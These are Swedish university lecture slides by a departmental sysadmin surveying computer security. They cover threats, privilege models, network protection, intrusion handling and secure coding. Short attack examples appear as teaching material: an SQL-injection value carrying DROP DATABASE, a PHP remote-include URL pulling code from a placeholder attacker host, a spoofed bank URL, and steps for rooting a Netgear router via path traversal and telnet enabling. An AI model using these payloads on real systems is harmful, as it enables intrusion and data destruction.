Säkerhetsföreläsning En liten föreläsning om säkerhet Institutionen för Datavetenskap Tomas Ögren <stric@cs.umu.se>
Vem är jag? SysAdm på CS sen 1999 SysAdm på ACC sen 1998 Solaris/Linux/Lite MacOSX (delvis även AIX och IRIX) Allmänt dator-/teknikintresserad
Varför bry sig om säkerhet? Vill du att någon annan ska kunna... Läsa din e-post? Läsa dina labbrapporter? Uppge sig för att vara dig? Koppla upp sig mot din IT-bank? (Nordea..) Ställer till merarbete Det kan komma ut information
Vad vill de egentligen? Shellkonton Tokfort internet Plattform för att gå vidare mot andra/våra system Information E-post Forskning Spam Jävlas Because I can!
Olika intrångssätt Sniffa lösenord Bakdörrar Trojaner Spam Man in the middle-attack SSH/SSL-nycklar Debian Cleartext
Användarnivåer Unix root kan göra allt Olika projekt för delegering av administration Windows - Adminrättigheter WinXP: Man ska bara behöva vara admin när det behövs Vista: Man ska bara, osv.. UAC tryck Continue jämt Windows 7: Taggat ner lite på UAC, på gott och ont
Användarnivåer Mac/Ubuntu mfl Förklarar vad den vill göra och frågar efter ditt lösenord, skyddar ifall ägaren har gått från datorn Åtkomst av hårdvara under kontrollerade former
Protokoll NIS, snart LDAP/Kerberos CIFS/SMB NFSv3, NFSv4 IMAP/SMTP SSH SSL/TLS
Vad gör vi? Hålla sig uppdaterad Bugtraq Announce-listor Läsa nyhetssidor Cronjobb som kontrollerar om det kommit säkerhetsuppdateringar
Planering Diskutera lösningar Förutspå potentiella problem Skriver egen kod AuthYP ForceSSL CGI-wrap
Förebygga Kontrollerar möjliga felkällor (PHP/CGI) Skrivbara filer Uppdatera program Sluta använda osäkra protokoll POP/IMAP/FTP utan SSL/TLS SSHv1 Speglade diskar eller annan raid och backup för att förhindra dataförlust och öka uptime
Nätverk Nätverk är mer eller mindre osäkra Trådlöst WEP/WPA/WPA2, MAC-adress UmU wlan vs Eduroam Trådbundet Oftast mer fysisk än psykisk säkerhet 802.1x, autentisering för nätuttag, även WiFi IPSEC IPv4 vs IPv6, 4 Mdr vs 4Mdr*4Mdr*4Mdr*4Mdr
Olika nätverk Unix NFS med SEC_SYS kräver att man litar på datorn Windows/Mac Anställd vs Lab Övervakningskort Skrivare
Blockering av nät Windowslabben partiellt blockerade (SMB etc) Brandväggar Lokala, globala Varför behövs båda? Finns alltid nån alternativ väg in
Identifiera folk Vem ska man peka på? ident/auth Lastlog, övriga loggfiler
Separata datorer Varför dela upp? Olika nivåer Labbmaskiner Multiuser (peppar/salt/itchy/scratchy) Web/CVS/SVN/SQL Mail NIS/SysDB/lösenordshantering/hemkataloger Lite virtualisering
Vilken dator litar på vem? Distribuering av lösenord Distribuering av program Allmän administration mario luigi fruit scrat
Detektera intrång Loggfiler Arpwatch LIDE/Tiger/Tripwire Utbytta filer / filer som inte ska vara där Honeypots
Efter intrång Karantän Säkerställa bevis (fysiska och psykiska) Backup Överskriven/raderad data är inte borta (TCT, IBAS?) Kontakta IRT @ Umdac Kontakta polis Ominstallation Problem om det är insyltad maskin
Spam/antivirus Virus ställer till saker Maskar Uppdatering Spam hindrar folk från att göra sitt arbete Onödig arbetstid som kostar om inte annat
Programkod Ta emot användardata Filtrera bort vs filtrera in Databaser SQL injections Felaktiga värden INSERT INTO foo (user,comment) VALUES ('$user','$comment') Vad händer om man heter ','');DROP DATABASE foo;?
Programkod JavaScript i inkommen data WordPress-hack osv
Felkontroller Suidprogram med configfil Styra över händelseflödet Buffer overflow/underflow mremap i Linux Få tag på annans minnesområde OpenBSD, begränsning av tidsjustering, overflow
Race conditions Temp-filer Kolla om fil finns. Om inte öppna ny Vad händer om man stoppar in en symlänk mellan kontroll och filskapande? Kör inte med förutsägbara namn... Cache i Pentium4 med HyperThreading Med hjälp av högupplöst timer och källkod kunna mäta om man fick cachemiss eller inte och därigenom lista ut delar av programflöde och därmed information om nycklar som används
Säkerhet i mjukvara Ökande komplexitet Har nån koll? Open source Godtrogenhet, har du kollat igenom all kod? Vem är det som har skrivit koden egentligen? Closed source Bakdörrar Liten/ingen möjlighet att påverka/snabbfixa Säkerhetsuppdateringar
Säkerhet i mjukvara Security by obscurity Enda säkra är det som är bevisat ok Krypteringsalgoritmer RSA, uppfanns 1978 av Ron Rivest, Adi Shamir, och Leonard Adleman. Bygger på att det är jobbigt att faktorisera stora tal. chroot / jails / virtuella maskiner Vad händer om man bryter sig in på huvudpudeln?
Webbsäkerhet Unicode i domännamn, ett 'a' är inte alltid 'a'. Å vs Å(ngström) t.ex Javascript, uppdatera statusrad med länkinfo Frames SSL-cert, alla klickar bara acceptera Nyare Firefox.. Bättre/sämre? http://www.bank.com@haxx.pl/login.asp IE8 visar semitydligt vilken domän du surfar till AJAX, Flash (Clickjacking)
PHP PHP4 i standardläge hjälper folk att skriva osäker kod url_fopen <a href= index.php?page=news > <? include($page)?> index.php?page=http://www.h4xx0r.se/evilkod.php register_globals (tas bort i PHP6) PHP5 har separerat url_fopen för include/open
Stacksmash Stacken i datorer växer bakifrån Återhoppsadress ligger på stacken Skriva förbi lokala variabler -> ändra återhoppsadressen strcpy/sprintf utan längdbegränsningar Ej körbar stack förändrar problemet NX-bit i vissa processorer (x86 på efterkälken, precis som med 64bit) Slumpa adressrymden
DNS Spärr av DNS-tjänster DDoS (liten fråga från fejkad adress -> stort svar till måldatorn) Cache poisoning DNSSEC.se var första TLD:n, han jag efterträdde här på CS som var med och införde Digitala signaturer som säger att det stämmer
Exempel på hack Netgear WGT634U, Wifi+switch+router Linux-baserad, MIPS @ 200MHz, Samba, ProFTPD, thttpd,... Chrootade konton vid FTP/SMB-access Man kan säkert göra nånting roligt med den...
Exempel på hack Stoppa in USB-pinne/disk Lägg till ftp-konto med hemkatalog /share/disk/../../../ Brist på validering av indata -> chroot overksam FTP till maskin, lägg till filen /tmp/telnetenable FTP till maskin, modifiera /etc/hosts.allow (skrivbar av alla.. ehum.) Telnet in som root, lösenordet är samma adminlösenord som i webgränssnittet
Hur är det här? Vad är normal användning? Viss skillnad mellan en okunnig nybörjarkursare och intresserad c-are Stor frihet
Andra intressanta designfel Kärnkraftverk i Ohio vs Slammer, fanns alternativa vägar in till säkra nät som inte var säkra Firewire, obegränsad access till datorminne